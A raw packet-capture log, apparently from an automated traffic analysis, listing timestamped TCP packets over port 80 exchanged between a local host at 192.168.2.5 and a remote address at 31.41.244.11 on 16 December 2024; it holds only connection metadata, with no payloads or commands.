Dec 16, 2024 09:01:33.098695993 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.098747015 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.099294901 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.099358082 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.099473000 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.099596024 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.100075006 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.100133896 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.249465942 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.249583006 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.249597073 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.249655962 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.249809980 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.249871016 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.249903917 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.249958992 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.250663996 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.250782967 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.251513958 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.251640081 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.252274990 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.252403975 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.253102064 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.253218889 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.253931999 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.254041910 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.254592896 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.254641056 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.254743099 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.254801989 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.254875898 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.254935980 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.255601883 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.255655050 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.255712986 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.255769968 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.256402016 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.256458044 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.256551981 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.256608963 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.257239103 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.257298946 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.257354021 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.257409096 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.258054018 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.258111954 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.258188963 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.258244038 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.258877039 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.258938074 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.258997917 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.259048939 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.259809971 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.259876013 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.259907961 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.259969950 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.260575056 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.260632992 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.260705948 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.260757923 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.261384964 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.261439085 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.261512041 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.261560917 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.262188911 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.262244940 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.262305021 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.262356997 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.263035059 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.263093948 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.263216019 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.263267040 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.263854980 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.263911963 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.263966084 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.264019012 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.264672995 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.264730930 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.264797926 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.264846087 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.265501022 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.265551090 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.265626907 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.265688896 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.266325951 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.266385078 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.266459942 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.266525030 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.267154932 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.267231941 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.267299891 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.267357111 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.267982006 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.268039942 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.268095970 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.268146992 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.268796921 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.268852949 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.268928051 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.268978119 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.269630909 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.269689083 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.269752026 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.269800901 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.270490885 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.270550013 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.270625114 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.270673990 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.271275997 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.271347046 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.271420956 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.271476030 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.272135019 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.272190094 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.272249937 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.272299051 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.272989988 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.273056030 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.273062944 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.273102999 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.273962975 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.274024963 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.274054050 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.274106979 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.274616003 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.274679899 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.274754047 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.274806023 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.275424957 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.275486946 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.275543928 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.275599003 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.276248932 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.276305914 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.276371956 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.276444912 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.277072906 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.277136087 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.277209997 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.277264118 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.277915001 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.277977943 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.278064966 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.278116941 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.278753996 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.278805971 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.278904915 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.278959036 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.279567957 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.279624939 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.279696941 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.279751062 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.280415058 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.280476093 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.280514956 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.280652046 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.281322956 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.281384945 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.281434059 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.281486034 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.282037020 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.282097101 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.282155037 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.282202959 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.282861948 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.282917023 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.282984018 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.283041000 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.283726931 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.283783913 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.283842087 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.283898115 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.284524918 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.284576893 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.284651041 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.284703970 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.285350084 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.285408974 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.285455942 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.285506010 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.286178112 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.286231995 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.286235094 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.286282063 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.287024975 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.287132978 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.287166119 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.287204027 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.287837029 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.287897110 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.287938118 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.287988901 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.288662910 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.288727045 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.288788080 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.288832903 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.289486885 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.289546967 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.289581060 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.289630890 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.290323019 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.290388107 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.290420055 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.290472984 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.291241884 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.291295052 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.291305065 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.291366100 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.291965961 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.292036057 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.292084932 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.292141914 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.292737961 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.292810917 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.441602945 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.441623926 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.441731930 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.441759109 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.441817999 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.441849947 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.441900015 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.442512035 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.442584991 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.442658901 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.442715883 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.443355083 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.443413019 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.443502903 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.443562031 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.444942951 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.445000887 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.445328951 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.445365906 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.445406914 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.445415020 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.445415020 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.445451975 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.445842028 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.445899010 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.445981026 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.446042061 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.446691036 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.446753979 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.446841002 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.446899891 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.448776007 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.448843956 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.450032949 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.450097084 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.450400114 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.450433969 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.450459003 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.450470924 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.450480938 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.450505018 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.450524092 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.450542927 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.450550079 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.450579882 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.450606108 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.450628996 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.451221943 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.451282978 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.451387882 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.451446056 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.452107906 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.452167034 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.452261925 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.452321053 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.452996016 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.453032017 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.453057051 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.453090906 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.453668118 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.453731060 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.453824997 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.453886032 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.454499960 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.454560041 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.454659939 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.454719067 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.455178976 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.455214024 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.455236912 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.455287933 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.456259012 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.456317902 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.456407070 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.456465960 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.457050085 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.457109928 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.457200050 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.457253933 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.458118916 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.458178997 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.458276987 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.458357096 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.458609104 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.458668947 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.458755970 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.458817005 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.459572077 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.459609985 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.459645033 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.459681034 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.460349083 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.460411072 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.460520029 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.460577965 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.461090088 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.461149931 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.461247921 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.461307049 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.461940050 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.461994886 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.462006092 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.462049961 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.462606907 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.462668896 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.462759018 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.462863922 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.463628054 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.463682890 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.463771105 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.463824987 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.464400053 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.464436054 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.464451075 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.464483976 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.465169907 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.465224028 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.465311050 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.465368986 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.466057062 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.466093063 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.466109991 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.466145039 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.466845989 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:33.466893911 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:33.466991901 CET	80	49866	31.41.244.11	192.168.2.5
